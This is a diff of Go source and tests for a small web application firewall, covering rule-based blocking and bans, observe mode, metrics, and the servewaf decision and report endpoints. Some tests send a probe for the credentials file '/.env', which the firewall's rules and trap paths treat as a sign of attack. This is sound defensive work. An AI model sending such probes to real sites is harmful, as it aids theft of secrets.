+	start := clk.Now()
+
+	// A log rule notes its match, and lets the request through.
+	line := s.get(client, http.StatusOK, requestlog.ActionForward)
+	wantRuleIDs(t, line, "noted")
+
+	// A block rule refuses with 403, whatever SWWAF_BAN_RESPONSE is, and
+	// bans no one.
+	line = s.request(client, "/blocked", http.StatusForbidden,
+		requestlog.ActionRuleBlocked)
+	wantRuleIDs(t, line, "noted", "blocked")
+	s.get(client, http.StatusOK, requestlog.ActionForward)
+
+	// A ban rule refuses with SWWAF_BAN_RESPONSE, and bans the client for
+	// seven days, the default.
+	line = s.request(client, "/.env", http.StatusTooManyRequests, requestlog.ActionBanned)
+	wantRuleIDs(t, line, "noted", "probe")
+
+	if line.BanExpires != requestlog.FormatTime(start.Add(7*24*time.Hour)) {
+		t.Errorf("log line has ban_expires %q, want seven days on", line.BanExpires)
+	}
+
+	netblock := netip.MustParsePrefix(client + "/32")
+	want := bans.Ban{
+		Netblock: netblock,
+		Start:    start,
+		Expires:  start.Add(7 * 24 * time.Hour),
+		Cause:    bans.CauseAttack,
+		Reason:   "matched the rule probe",
+		Notes: bans.Notes{
+			RuleID: "probe",
+			Target: "path",
+			Request: bans.Request{
+				Time:      start,
+				Method:    http.MethodGet,
+				Host:      appHost,
+				Path:      "/.env",
+				Status:    http.StatusTooManyRequests,
+				UserAgent: userAgent,
+			},
+			// The four requests up to and including the probe.
+			Requests: 4,
+		},
+	}
+
+	got := server.Ledger.Bans(netblock)
+	if len(got) != 1 || !reflect.DeepEqual(got[0], want) {
+		t.Fatalf("bans\n%+v\nwant\n%+v", got, want)
+	}
+
+	// The next request is refused under the ban, without being checked
+	// against the rules, and makes the ban permanent.
+	clk.advance(time.Hour)
+
+	line = s.get(client, http.StatusTooManyRequests, requestlog.ActionBanned)
+	wantRuleIDs(t, line)
+
+	if line.BanExpires != permanent {
+		t.Errorf("log line has ban_expires %q, want permanent", line.BanExpires)
+	}
+
+	clk.advance(365 * 24 * time.Hour)
+	s.get(client, http.StatusTooManyRequests, requestlog.ActionBanned)
+}
+
+func TestNextClearSignOfAttackAfterABanBansPermanently(t *testing.T) {
+	t.Parallel()
+
+	s, clk, _ := startWithClock(t, "", map[string]string{
+		rulesDir:          writeRules(t, testRules),
+		attackBanDuration: "1h",
+	})
+
+	// The first probe bans for SWWAF_ATTACK_BAN_DURATION.
+	line := s.request(client, "/.env", http.StatusForbidden, requestlog.ActionBanned)
+	if line.BanExpires != requestlog.FormatTime(clk.Now().Add(time.Hour)) {
+		t.Errorf("log line has ban_expires %q, want an hour on", line.BanExpires)
+	}
+
+	// Once that ban has run out without a request, the client is served,
+	// and its next probe bans it for good.
+	clk.advance(time.Hour)
+	s.get(client, http.StatusOK, requestlog.ActionForward)
+
+	line = s.request(client, "/.env", http.StatusForbidden, requestlog.ActionBanned)
+	if line.BanExpires != permanent {
+		t.Errorf("log line has ban_expires %q, want permanent", line.BanExpires)
+	}
+}
+
+func TestRulesComeAfterTheOtherChecks(t *testing.T) {
+	t.Parallel()
+
+	const (
+		allowed = "192.0.2.60" // in SWWAF_ALLOW_NETS
+		exempt  = "192.0.2.50" // in SWWAF_RATE_LIMIT_EXEMPT_NETS
+	)
+
+	s, _, server := startWithClock(t, "", map[string]string{
+		rulesDir:            writeRules(t, testRules),
+		allowNets:           allowed,
+		rateLimitExemptNets: exempt,
+		rateLimitPerMinute:  "1",
+	})
+
+	// A client in SWWAF_ALLOW_NETS is not checked.
+	line := s.request(allowed, "/.env", http.StatusOK, requestlog.ActionForward)
+	wantRuleIDs(t, line)
+
+	// A probe over the rate limit breaks the limit before any rule sees
+	// it.
+	s.get(client, http.StatusOK, requestlog.ActionForward)
+	line = s.request(client, "/.env", http.StatusForbidden, requestlog.ActionRateLimited)
+	wantRuleIDs(t, line)
+
+	limitBan := server.Ledger.Bans(netip.MustParsePrefix(client + "/32"))
+	if len(limitBan) != 1 || limitBan[0].Cause != bans.CauseLimit {
+		t.Errorf("bans %+v, want one for a broken limit", limitBan)
+	}
+
+	// A client the rate limits do not apply to is still checked.
+	s.get(exempt, http.StatusOK, requestlog.ActionForward)
+	s.request(exempt, "/.env", http.StatusForbidden, requestlog.ActionBanned)
+}
+
+func TestObserveModeLogsWhatTheRulesWouldDo(t *testing.T) {
+	t.Parallel()
+
+	s, _, server := startWithClock(t, "", map[string]string{
+		rulesDir: writeRules(t, testRules),
+		mode:     observe,
+	})
+
+	line := s.request(client, "/blocked", http.StatusOK, requestlog.ActionForward)
+	wantWouldAction(t, line, requestlog.ActionRuleBlocked)
+	wantRuleIDs(t, line, "blocked")
+
+	line = s.request(client, "/.env", http.StatusOK, requestlog.ActionForward)
+	wantWouldAction(t, line, requestlog.ActionBanned)
+	wantRuleIDs(t, line, "probe")
+
+	if line.BanExpires != "" {
+		t.Errorf("log line has ban_expires %q, want none", line.BanExpires)
+	}
+
+	// No ban was made.
+	line = s.get(client, http.StatusOK, requestlog.ActionForward)
+	wantWouldAction(t, line, "")
+
+	if got := server.Ledger.Snapshot(); len(got) != 0 {
+		t.Errorf("bans %+v, want none", got)
+	}
+}
+
+func TestMetricsCountRuleMatchesAndBansForAnAttack(t *testing.T) {
+	t.Parallel()
+
+	s, _, _ := startWithClock(t, "", map[string]string{
+		rulesDir:     writeRules(t, testRules),
+		metricsToken: token,
+	})
+
+	s.request(client, "/blocked", http.StatusForbidden, requestlog.ActionRuleBlocked)
+	s.request(client, "/.env", http.StatusForbidden, requestlog.ActionBanned)
+	s.get(client, http.StatusForbidden, requestlog.ActionBanned)
+
+	metrics := s.scrape()
+	wantMetric(t, metrics,
+		`smallwebwaf_rule_matches_total{action="block",instance="app",rule_id="blocked"}`, 1)
+	wantMetric(t, metrics,
+		`smallwebwaf_rule_matches_total{action="ban",instance="app",rule_id="probe"}`, 1)
+	wantMetric(t, metrics, `smallwebwaf_rules_loaded{instance="app"}`, 2)
+	wantMetric(t, metrics, `smallwebwaf_requests_total{action="rule_blocked",`+
+		`instance="app",status_class="4xx"}`, 1)
+	wantMetric(t, metrics,
+		`smallwebwaf_offences_total{instance="app",kind="rule_blocked"}`, 1)
+	wantMetric(t, metrics, `smallwebwaf_offences_total{instance="app",kind="attack"}`, 1)
+	wantMetric(t, metrics, `smallwebwaf_bans_made_total{cause="attack",instance="app"}`, 1)
+	wantMetric(t, metrics, `smallwebwaf_bans_made_total{cause="limit",instance="app"}`, 0)
+	wantMetric(t, metrics, `smallwebwaf_permanent_bans{instance="app"}`, 1)
+}
+
+// writeRules writes content as a rule file into a new directory, and
+// returns the directory.
+func writeRules(t *testing.T, content string) string {
+	t.Helper()
+
+	dir := t.TempDir()
+
+	err := os.WriteFile(filepath.Join(dir, "test.rules"), []byte(content), 0o600)
+	if err != nil {
+		t.Fatalf("write the rule file: %v", err)
+	}
+
+	return dir
+}
+
+// wantRuleIDs checks the request log line's rule_ids.
+func wantRuleIDs(t *testing.T, line logLine, want ...string) {
+	t.Helper()
+
+	if !slices.Equal(line.RuleIDs, want) {
+		t.Errorf("log line has rule_ids %v, want %v", line.RuleIDs, want)
+	}
+}

internal/proxy/rules.go

@@ -0,0 +1,64 @@
+package proxy
+
+import (
+	"slices"
+	"time"
+
+	"sneak.berlin/go/smallwebwaf/internal/bans"
+	"sneak.berlin/go/smallwebwaf/internal/requestlog"
+	"sneak.berlin/go/smallwebwaf/internal/rules"
+)
+
+// trapPath reports whether the request asks for a path in
+// SWWAF_TRAP_PATHS: its path as a path rule sees it, without the query,
+// as sent or once percent-decoded, is one of them. Such a request is a
+// clear sign of attack, as a ban rule's match is: it bans the client's
+// netblock, or in observe mode raises the alert for the ban it would have
+// made. The ban's notes give the path as sent.
+func (rq *request) trapPath(now time.Time) bool {
+	path := rules.Path(rq.in)
+	if !slices.Contains(rq.h.config.TrapPaths, path) &&
+		!slices.Contains(rq.h.config.TrapPaths, rules.DecodeOnce(path)) {
+		return false
+	}
+
+	rq.attack = true
+	rq.banForAttack(now, bans.Notes{TrapPath: path})
+
+	return true
+}
+
+// checkRules checks the request against the rules of the rule files at
+// now, notes the ids of those it matches in the log line, and returns the
+// action of the rule that refuses it, ActionRuleBlocked for a block rule
+// and ActionBanned for a ban rule, or "" when none does. A ban rule bans
+// the client's netblock for a clear sign of attack, or in observe mode
+// raises the alert for the ban it would have made. Either rule's match
+// is noted as an offence, for the client's history.
+func (rq *request) checkRules(now time.Time) string {
+	matched := rq.h.rules.Match(rq.in)
+
+	for _, rule := range matched {
+		rq.line.RuleIDs = append(rq.line.RuleIDs, rule.ID)
+		rq.h.metrics.RuleMatched(rule.ID, rule.Action)
+	}
+
+	if len(matched) == 0 {
+		return ""
+	}
+
+	// Only the last rule matched can refuse the request.
+	switch last := matched[len(matched)-1]; last.Action {
+	case rules.ActionBlock:
+		rq.ruleBlocked = true
+
+		return requestlog.ActionRuleBlocked
+	case rules.ActionBan:
+		rq.attack = true
+		rq.banForAttack(now, bans.Notes{RuleID: last.ID, Target: last.Target})
+
+		return requestlog.ActionBanned
+	default:
+		return ""
+	}
+}

internal/proxy/servewaf.go

@@ -0,0 +1,509 @@
+package proxy
+
+import (
+	"bytes"
+	"encoding/json"
+	"errors"
+	"fmt"
+	"io"
+	"log/slog"
+	"net/http"
+	"net/netip"
+	"strconv"
+	"strings"
+	"time"
+	"unicode/utf8"
+
+	"sneak.berlin/go/smallwebwaf/internal/requestlog"
+)
+
+// The headers of rproxy's question and of servewaf's answer, as
+// "servewaf" in SPEC.md gives them.
+const (
+	// ClientHeader marks a request as rproxy's question, and gives the
+	// visitor's address.
+	ClientHeader = "X-Smallwebwaf-Client"
+	// PeerHeader gives the address of rproxy's own TCP peer.
+	PeerHeader = "X-Smallwebwaf-Peer"
+	// ContentLengthHeader gives the body length the visitor announced.
+	ContentLengthHeader = "X-Smallwebwaf-Content-Length"
+	// DispositionHeader gives servewaf's answer.
+	DispositionHeader = "X-Smallwebwaf-Disposition"
+)
+
+// The values of DispositionHeader.
+const (
+	// DispositionAllow tells rproxy to pass the request to the app.
+	DispositionAllow = "allow"
+	// DispositionDeny tells rproxy to give the visitor the answer's status,
+	// headers and body.
+	DispositionDeny = "deny"
+	// DispositionClose tells rproxy to close the visitor's connection
+	// without an answer, which SWWAF_BAN_RESPONSE asks for when it is close.
+	// servewaf closing the question's connection instead would read as
+	// servewaf being down, and rproxy would then let the request through.
+	DispositionClose = "close"
+)
+
+// ReportPath is where rproxy sends the report of each request servewaf
+// answered.
+const ReportPath = "/_smallwebwaf/report"
+
+// QuestionBodyMaxBytes is the most of a visitor's body a question carries.
+const QuestionBodyMaxBytes = 64 << 10
+
+// The header limits: the most cookies and header fields a request may have
+// when the checks reach the Core Rule Set. Real clients never reach them.
+const (
+	maxCookies      = 50
+	maxHeaderFields = 100
+)
+
+const (
+	// maxAwaitingReport is the most answered requests held until their
+	// reports come. Past it, the request answered longest ago is dropped.
+	maxAwaitingReport = 10000
+	// maxRequestIDBytes is the longest id a question may give.
+	maxRequestIDBytes = 128
+	// reportBodyMaxBytes is the most of a report's body that is read. It is
+	// far above any report's.
+	reportBodyMaxBytes = 1 << 20
+	// maxHTTPStatus is the highest status a report may give.
+	maxHTTPStatus = 599
+	// maxReportedBytes is the most bytes a report may give for each way, 1
+	// PiB, so that adding them up cannot overflow.
+	maxReportedBytes = 1 << 50
+	// maxReportedMilliseconds is the longest duration a report may give,
+	// about 31 years, so that it fits a time.Duration.
+	maxReportedMilliseconds = 1e12
+	// serveWAFTimeout bounds how long a request to servewaf takes to arrive,
+	// and its answer to leave, and serveWAFIdleTimeout how long a kept-open
+	// connection waits for its next request.
+	serveWAFTimeout     = 60 * time.Second
+	serveWAFIdleTimeout = 120 * time.Second
+)
+
+var (
+	errReportFieldMissing = errors.New("a field is missing")
+	errReportValue        = errors.New("a value is out of range")
+)
+
+// Report is the JSON object rproxy posts to ReportPath once the visitor's
+// answer has ended, its fields named as the request log's of the same
+// meaning. RequestID is the question's id. Status is what the visitor got, 0
+// if nothing. The durations are in milliseconds.
+//
+//nolint:tagliatelle // docs/request-log.md names the fields in snake_case
+type Report struct {
+	RequestID             string  `json:"request_id"`
+	Status                int     `json:"status"`
+	RequestBytes          int64   `json:"request_bytes"`
+	ResponseBytes         int64   `json:"response_bytes"`
+	DurationTotal         float64 `json:"duration_total"`
+	DurationUpstreamTotal float64 `json:"duration_upstream_total"`
+}
+
+// NewServeWAF returns the server `smallwebwaf servewaf` runs. It answers
+// rproxy's questions, takes rproxy's reports and answers its own endpoints. It
+// passes nothing to an app. rproxy applies the size and time limits to the
+// visitor. Go's default limit on a request's line and headers, 1 MiB, stays: it
+// is far above rproxy's, and a question refused for its size would have rproxy
+// let the request through.
+func NewServeWAF(params Params) *Server {
+	h := newHandler(params)
+
+	return &Server{
+		Server: &http.Server{
+			Addr:         params.Config.ListenAddr,
+			Handler:      h,
+			ErrorLog:     slog.NewLogLogger(params.ProcessLog.Handler(), slog.LevelWarn),
+			ReadTimeout:  serveWAFTimeout,
+			WriteTimeout: serveWAFTimeout,
+			IdleTimeout:  serveWAFIdleTimeout,
+		},
+		Ledger:     h.ledger,
+		Limiter:    h.limiter,
+		GeoJS:      h.geojs,
+		Anomalies:  h.anomalies,
+		LookupFile: h.lookupFile,
+		Lists:      h.lists,
+		DNSBL:      h.dnsbl,
+		AbuseIPDB:  h.abuseIPDB,
+		Metrics:    h.metrics,
+	}
+}
+
+// ServeHTTP handles one request to servewaf: a request carrying ClientHeader is
+// rproxy's question, and any other is for servewaf itself.
+func (h *handler) ServeHTTP(w http.ResponseWriter, r *http.Request) {
+	if len(r.Header.Values(ClientHeader)) > 0 {
+		h.answerQuestion(w, r)
+
+		return
+	}
+
+	h.answerOwnEndpoint(w, r)
+}
+
+// refusedWhateverTheAnswer reports whether the request is one that does not wait
+// for GeoJS, since the checks will refuse it at now whatever GeoJS answers about
+// its client: it is over the header limits, a blocklist lists its client while
+// SWWAF_BLOCKLIST_ACTION is deny, the CrowdSec decision list lists it, or it is
+// over a whole rate limit. In observe mode, which refuses nothing, none is.
+// rproxy lets a request through when servewaf answers too late.
+func (rq *request) refusedWhateverTheAnswer(now time.Time) bool {
+	if rq.h.config.Observe {
+		return false
+	}
+
+	lists := rq.h.lists
+	_, decided := lists.CrowdSecDecision(rq.client, now)
+
+	return decided || rq.overHeaderLimits() ||
+		(rq.h.config.BlocklistAction == deny && len(lists.ListedBy(rq.client)) > 0) ||
+		(rq.countedByRateLimits() &&
+			rq.h.limiter.OverARateLimit(rq.h.clientGroup(rq.client), now))
+}
+
+// overHeaderLimits reports whether servewaf refuses the request for its
+// headers: it has more than maxHeaderFields fields, each value of a header sent
+// twice being one, or more than maxCookies cookies, each part of a Cookie header
+// between semicolons being one unless it is empty or only spaces and tabs. The
+// Core Rule Set runs each of its rules on each cookie, so that thousands of small
+// cookies keep it busy for over a second. It trims only spaces and control
+// characters, of which a header value can hold only tabs, so a part of Unicode
+// spaces is a cookie to it.
+func (rq *request) overHeaderLimits() bool {
+	fields, cookies := 0, 0
+
+	for _, values := range rq.in.Header {
+		fields += len(values)
+	}
+
+	for _, value := range rq.in.Header.Values("Cookie") {
+		for part := range strings.SplitSeq(value, ";") {
+			if strings.Trim(part, " \t") != "" {
+				cookies++
+			}
+		}
+	}
+
+	return fields > maxHeaderFields || cookies > maxCookies
+}
+
+// answerQuestion runs the checks on the visitor's request a question
+// carries, and answers rproxy what to do with it. A denied request's counting
+// is finished here, and an allowed one's by its report.
+func (h *handler) answerQuestion(w http.ResponseWriter, r *http.Request) {
+	client, body, ok := h.readQuestion(w, r)
+	if !ok {
+		return
+	}
+
+	// One that cannot be read leaves the log line's peer_ip invalid.
+	peer, _ := netip.ParseAddr(r.Header.Get(PeerHeader))
+
+	rq := h.startRequest(w, asTheVisitorSentIt(r, body), client.Unmap(), peer.Unmap(),
+		true)
+	// The last deferred runs first, so that what is held has the finished log
+	// line. Go's server sends the answer only once this function has
+	// returned, so the report cannot come before it is held.
+	defer rq.holdForReport()
+	defer rq.finish()
+
+	rq.site = r.Host
+	rq.line.ServeWAFLine = requestlog.ServeWAFLineDecision
+	refused := rq.check(r.Context())
+	rq.checked = time.Now()
+	underOwnPrefix := strings.HasPrefix(r.URL.Path, adminPrefix)
+
+	if refused == nil && !underOwnPrefix {
+		// In observe mode, what enforce mode would have refused counts here.
+		defer rq.countRefusal()
+
+		rq.allow()
+
+		return
+	}
+
+	// The last deferred runs first: countRefusal before addToHistory, so that a
+	// broken error burst is in the client's history.
+	defer rq.addToHistory()
+	defer rq.countAnomalies()
+	defer rq.countRefusal()
+
+	if refused != nil {
+		rq.deny(*refused)
+
+		return
+	}
+
+	// The app never sees this prefix. servewaf's own endpoints are at its
+	// own address, so this answers as a path with no endpoint does.
+	rq.line.Action = requestlog.ActionAdmin
+	rq.out.Header().Set(DispositionHeader, DispositionDeny)
+	http.Error(rq.out, http.StatusText(http.StatusNotFound), http.StatusNotFound)
+}
+
+// readQuestion returns the visitor's address and the body a question carries,
+// and whether servewaf takes the question. It answers a question it does not
+// take with 400 and no disposition, which rproxy treats as it treats no
+// answer. The id of a question it takes is held from here on, without a
+// decision yet, so that another question with that id is refused while this
+// one is being handled.
+//
+// The body is read before any check, since Go's server does not send an answer
+// until it has read the body. A question whose body stops arriving gets no
+// answer, and is not looked at.
+func (h *handler) readQuestion(
+	w http.ResponseWriter, r *http.Request,
+) (netip.Addr, []byte, bool) {
+	client, err := netip.ParseAddr(r.Header.Get(ClientHeader))
+	if err != nil || client.Zone() != "" {
+		h.refuseQuestion(w, ClientHeader+" is not an address without a zone")
+
+		return netip.Addr{}, nil, false
+	}
+
+	id := r.Header.Get(requestIDHeader)
+	if id == "" || len(id) > maxRequestIDBytes || !utf8.ValidString(id) {
+		h.refuseQuestion(w, requestIDHeader+" is not a valid id")
+
+		return netip.Addr{}, nil, false
+	}
+
+	body, err := io.ReadAll(http.MaxBytesReader(w, r.Body, QuestionBodyMaxBytes))
+
+	if _, tooLarge := errors.AsType[*http.MaxBytesError](err); tooLarge {
+		h.refuseQuestion(w, "the body is over 64 KiB")
+
+		return netip.Addr{}, nil, false
+	}
+
+	if err != nil {
+		h.processLog.Warn("a question's body stopped arriving", "error", err.Error())
+		// This panic has Go's server close the connection without an answer,
+		// and log nothing.
+		panic(http.ErrAbortHandler)
+	}
+
+	held, _ := h.awaitingReport.ContainsOrAdd(id, nil)
+	if held {
+		h.refuseQuestion(w, requestIDHeader+" is the id of a request servewaf holds")
+
+		return netip.Addr{}, nil, false
+	}
+
+	return client, body, true
+}
+
+// refuseQuestion answers a question servewaf does not take, for reason.
+func (h *handler) refuseQuestion(w http.ResponseWriter, reason string) {
+	h.processLog.Warn("a question is refused", "reason", reason)
+	http.Error(w, reason, http.StatusBadRequest)
+}
+
+// asTheVisitorSentIt returns a copy of r, a question, as the checks and the
+// log line are to see it: without the headers rproxy adds for servewaf, with
+// body, which has been read of r, and with the length the visitor announced,
+// as -1 when it announced none. The question's own length covers only the part
+// of the body it carries.
+func asTheVisitorSentIt(r *http.Request, body []byte) *http.Request {
+	sent := r.Clone(r.Context())
+	announced := sent.Header.Get(ContentLengthHeader)
+
+	sent.Header.Del(ClientHeader)
+	sent.Header.Del(PeerHeader)
+	sent.Header.Del(ContentLengthHeader)
+	sent.Header.Del("Content-Length")
+
+	sent.ContentLength = -1
+
+	length, err := strconv.ParseInt(announced, 10, 64)
+	if err == nil && length >= 0 {
+		sent.ContentLength = length
+		sent.Header.Set("Content-Length", announced)
+	}
+
+	sent.Body = http.NoBody
+	if len(body) > 0 {
+		sent.Body = io.NopCloser(bytes.NewReader(body))
+	}
+
+	return sent
+}
+
+// allow answers a question with DispositionAllow and, while
+// SWWAF_ADD_LOOKUP_HEADERS is set, the client's AS number and country.
+func (rq *request) allow() {
+	rq.allowed = true
+
+	header := rq.out.Header()
+	header.Set(DispositionHeader, DispositionAllow)
+
+	if rq.h.config.AddLookupHeaders {
+		setLookupHeaders(header, rq.line.ASN, rq.line.Country)
+	}
+
+	rq.out.WriteHeader(http.StatusOK)
+}
+
+// holdForReport holds a copy of what the report's steps need, by the request's
+// id. A report only ever reaches that copy, never the request being handled.
+func (rq *request) holdForReport() {
+	held := rq.decision
+	rq.h.awaitingReport.Add(rq.line.RequestID, &held)
+}
+
+// deny answers a question with what the visitor is to get for r.
+func (rq *request) deny(r refusal) {
+	rq.refused = &r
+
+	if r.status == 0 {
+		// SWWAF_BAN_RESPONSE is close. Written past rq.out, since the log line's
+		// status stays 0: the visitor is sent nothing.
+		rq.out.Header().Set(DispositionHeader, DispositionClose)
+		rq.out.ResponseWriter.WriteHeader(http.StatusOK)
+
+		return
+	}
+
+	rq.out.Header().Set(DispositionHeader, DispositionDeny)
+	http.Error(rq.out, http.StatusText(r.status), r.status)
+}
+
+// answerOwnEndpoint answers a request to servewaf's own address. No check
+// runs on it: the address is on the private network, where the peers are
+// rproxy and the admin's tools, not visitors.
+func (h *handler) answerOwnEndpoint(w http.ResponseWriter, r *http.Request) {
+	if r.Method == http.MethodPost && r.URL.Path == ReportPath {
+		h.takeReport(w, r)
+
+		return
+	}
+
+	peer := peerAddress(r)
+
+	rq := h.startRequest(w, r, peer, peer, false)
+	defer rq.finish()
+
+	if r.Method == http.MethodGet && r.URL.Path == HealthPath {
+		rq.answerHealth()
+
+		return
+	}
+
+	rq.answerAdmin()
+}
+
+// takeReport answers POST ReportPath: it finishes the request the report
+// names, if it holds that request's decision, and ignores the report
+// otherwise.
+func (h *handler) takeReport(w http.ResponseWriter, r *http.Request) {
+	report, err := readReport(w, r)
+	if err != nil {
+		h.processLog.Warn("a report is refused", "error", err.Error())
+		http.Error(w, "the body is not a report", http.StatusBadRequest)
+
+		return
+	}
+
+	held, found := h.awaitingReport.Peek(report.RequestID)
+	// Remove reports true to one report only, of several that name the id. A
+	// question still being handled is held as nil.
+	if found && held != nil && h.awaitingReport.Remove(report.RequestID) {
+		h.finishWith(held, report)
+	}
+
+	w.WriteHeader(http.StatusNoContent)
+}
+
+// readReport reads a report from r's body, which must be one JSON object with
+// all of Report's fields, in the ranges SPEC.md gives.
+func readReport(w http.ResponseWriter, r *http.Request) (Report, error) {
+	var report Report
+
+	body, err := io.ReadAll(http.MaxBytesReader(w, r.Body, reportBodyMaxBytes))
+	if err != nil {
+		return report, fmt.Errorf("read the body: %w", err)
+	}
+
+	var fields map[string]json.RawMessage
+
+	err = json.Unmarshal(body, &fields)
+	if err != nil {
+		return report, fmt.Errorf("decode the body: %w", err)
+	}
+
+	for _, name := range []string{
+		"request_id", "status", "request_bytes", "response_bytes",
+		"duration_total", "duration_upstream_total",
+	} {
+		value, there := fields[name]
+		if !there || string(value) == "null" {
+			return report, fmt.Errorf("%w: %s", errReportFieldMissing, name)
+		}
+	}
+
+	err = json.Unmarshal(body, &report)
+	if err != nil {
+		return report, fmt.Errorf("decode the body: %w", err)
+	}
+
+	return report, report.checkRanges()
+}
+
+// checkRanges returns an error for a value of the report that cannot be true.
+func (report *Report) checkRanges() error {
+	switch {
+	case report.Status != 0 &&
+		(report.Status < http.StatusContinue || report.Status > maxHTTPStatus):
+		return fmt.Errorf("%w: status", errReportValue)
+	case report.RequestBytes < 0 || report.RequestBytes > maxReportedBytes:
+		return fmt.Errorf("%w: request_bytes", errReportValue)
+	case report.ResponseBytes < 0 || report.ResponseBytes > maxReportedBytes:
+		return fmt.Errorf("%w: response_bytes", errReportValue)
+	case report.DurationTotal < 0 || report.DurationTotal > maxReportedMilliseconds:
+		return fmt.Errorf("%w: duration_total", errReportValue)
+	case report.DurationUpstreamTotal < 0 ||
+		report.DurationUpstreamTotal > maxReportedMilliseconds:
+		return fmt.Errorf("%w: duration_upstream_total", errReportValue)
+	}
+
+	return nil
+}
+
+// finishWith finishes a request with what its report says, and writes the
+// request's last log line, which holds its decision's fields and the report's.
+// For an allowed request it first counts the request's bytes, and adds it to its
+// client's history, the anomaly counters and the metrics, with the status and
+// bytes the report gives. A denied request's counting was finished at its
+// decision.
+func (h *handler) finishWith(held *decision, report Report) {
+	rq := &request{
+		decision:     *held,
+		h:            h,
+		out:          &responseWriter{status: report.Status, bytes: report.ResponseBytes},
+		requestBytes: report.RequestBytes,
+	}
+
+	rq.line.ServeWAFLine = requestlog.ServeWAFLineReport
+	rq.line.Status = report.Status
+	rq.line.RequestBytes = report.RequestBytes
+	rq.line.ResponseBytes = report.ResponseBytes
+	rq.line.DurationTotal = report.DurationTotal
+
+	if rq.allowed {
+		rq.line.DurationUpstreamTotal = &report.DurationUpstreamTotal
+
+		rq.countBytes()
+		rq.countAnomalies()
+		rq.addToHistory()
+
+		rq.h.metrics.RequestReported(&rq.line,
+			time.Duration(report.DurationTotal*float64(time.Millisecond)),
+			time.Duration(report.DurationUpstreamTotal*float64(time.Millisecond)))
+	}
+
+	rq.writeLine()
+}

internal/proxy/staticlists_test.go

@@ -0,0 +1,172 @@
+package proxy_test
+
+import (
+	"net/http"
+	"strings"
+	"sync/atomic"
+	"testing"
+
+	"sneak.berlin/go/smallwebwaf/internal/requestlog"
+)
+
+// The rate limits count an IPv6 client by its /64, so these two addresses
+// are one client for them. The static lists match each address on its own,
+// and the tests list listedAddr alone.
+const (
+	listedAddr   = "2001:db8::1"
+	unlistedAddr = "2001:db8::2"
+)
+
+func TestAllowNetsSkipEveryCheck(t *testing.T) {
+	t.Parallel()
+
+	var calls atomic.Int32
+
+	app := startApp(t, func(http.ResponseWriter, *http.Request) {
+		calls.Add(1)
+	})
+	geojsURL, asked := startGeoJS(t)
+	// fromKP is in SWWAF_ALLOW_NETS, and in SWWAF_DENY_NETS too, which
+	// comes after it.
+	addr, out := startProxyWithGeoJS(t, app.URL, geojsURL, map[string]string{
+		trustedProxies:     trustLocalhost,
+		allowNets:          "198.51.100.0/24",
+		denyNets:           fromKP,
+		deniedCountries:    "kp",
+		rateLimitPerMinute: "1",
+	})
+
+	// Neither SWWAF_DENY_NETS, the country lists nor the limit of one
+	// request a minute refuses the client, and its country is not looked
+	// up.
+	wantAnswers(t, addr, out, []sentRequest{
+		{fromKP, http.StatusOK, requestlog.ActionForward},
+		{fromKP, http.StatusOK, requestlog.ActionForward},
+	})
+
+	if len(asked()) != 0 {
+		t.Errorf("GeoJS was asked about %v, want nothing", asked())
+	}
+
+	if calls.Load() != 2 {
+		t.Errorf("the app was called %d times, want 2", calls.Load())
+	}
+}
+
+func TestRequestFromAllowNetsIsNotCounted(t *testing.T) {
+	t.Parallel()
+
+	app := startApp(t, func(http.ResponseWriter, *http.Request) {})
+	addr, out := startProxy(t, app.URL, map[string]string{
+		trustedProxies:     trustLocalhost,
+		allowNets:          listedAddr,
+		rateLimitPerMinute: "1",
+	})
+
+	// listedAddr's requests are not counted, so the first request from
+	// unlistedAddr is within the limit of one a minute.
+	wantAnswers(t, addr, out, []sentRequest{
+		{listedAddr, http.StatusOK, requestlog.ActionForward},
+		{listedAddr, http.StatusOK, requestlog.ActionForward},
+		{unlistedAddr, http.StatusOK, requestlog.ActionForward},
+		{unlistedAddr, http.StatusForbidden, requestlog.ActionRateLimited},
+	})
+}
+
+func TestDenyNetsRefuseBeforeTheLookup(t *testing.T) {
+	t.Parallel()
+
+	var calls atomic.Int32
+
+	app := startApp(t, func(http.ResponseWriter, *http.Request) {
+		calls.Add(1)
+	})
+	geojsURL, asked := startGeoJS(t)
+	addr, out := startProxyWithGeoJS(t, app.URL, geojsURL, map[string]string{
+		trustedProxies:  trustLocalhost,
+		denyNets:        "203.0.113.0/24",
+		deniedCountries: "kp",
+	})
+
+	req := newRequest(t, http.MethodPost, addr, "/", strings.NewReader("a body"))
+	req.Header.Set(forwardedFor, fromDE)
+	wantStatus(t, do(t, req), http.StatusForbidden)
+
+	line := out.endedLine(t)
+	wantLine(t, line, http.StatusForbidden, requestlog.ActionDenied)
+
+	if len(asked()) != 0 {
+		t.Errorf("GeoJS was asked about %v, want nothing", asked())
+	}
+
+	if calls.Load() != 0 {
+		t.Errorf("the app was called %d times, want none", calls.Load())
+	}
+}
+
+func TestRequestRefusedByDenyNetsIsNotCounted(t *testing.T) {
+	t.Parallel()
+
+	app := startApp(t, func(http.ResponseWriter, *http.Request) {})
+	addr, out := startProxy(t, app.URL, map[string]string{
+		trustedProxies:     trustLocalhost,
+		denyNets:           listedAddr,
+		rateLimitPerMinute: "1",
+	})
+
+	// listedAddr's refused requests are not counted, so the first request
+	// from unlistedAddr is within the limit of one a minute.
+	wantAnswers(t, addr, out, []sentRequest{
+		{listedAddr, http.StatusForbidden, requestlog.ActionDenied},
+		{listedAddr, http.StatusForbidden, requestlog.ActionDenied},
+		{unlistedAddr, http.StatusOK, requestlog.ActionForward},
+		{unlistedAddr, http.StatusForbidden, requestlog.ActionRateLimited},
+	})
+}
+
+func TestRateLimitExemptNetsAreNeitherCountedNorRefused(t *testing.T) {
+	t.Parallel()
+
+	app := startApp(t, func(http.ResponseWriter, *http.Request) {})
+	geojsURL, _ := startGeoJS(t)
+	addr, out := startProxyWithGeoJS(t, app.URL, geojsURL, map[string]string{
+		trustedProxies:      trustLocalhost,
+		lookupTimeout:       "1h",
+		rateLimitExemptNets: listedAddr + "," + fromKP,
+		deniedCountries:     "kp",
+		rateLimitPerMinute:  "1",
+	})
+
+	// listedAddr's requests are neither refused nor counted, so the first
+	// request from unlistedAddr is within the limit of one a minute. The
+	// country lists still refuse an exempt client.
+	wantAnswers(t, addr, out, []sentRequest{
+		{listedAddr, http.StatusOK, requestlog.ActionForward},
+		{listedAddr, http.StatusOK, requestlog.ActionForward},
+		{unlistedAddr, http.StatusOK, requestlog.ActionForward},
+		{unlistedAddr, http.StatusForbidden, requestlog.ActionRateLimited},
+		{fromKP, http.StatusForbidden, requestlog.ActionCountryDenied},
+	})
+}
+
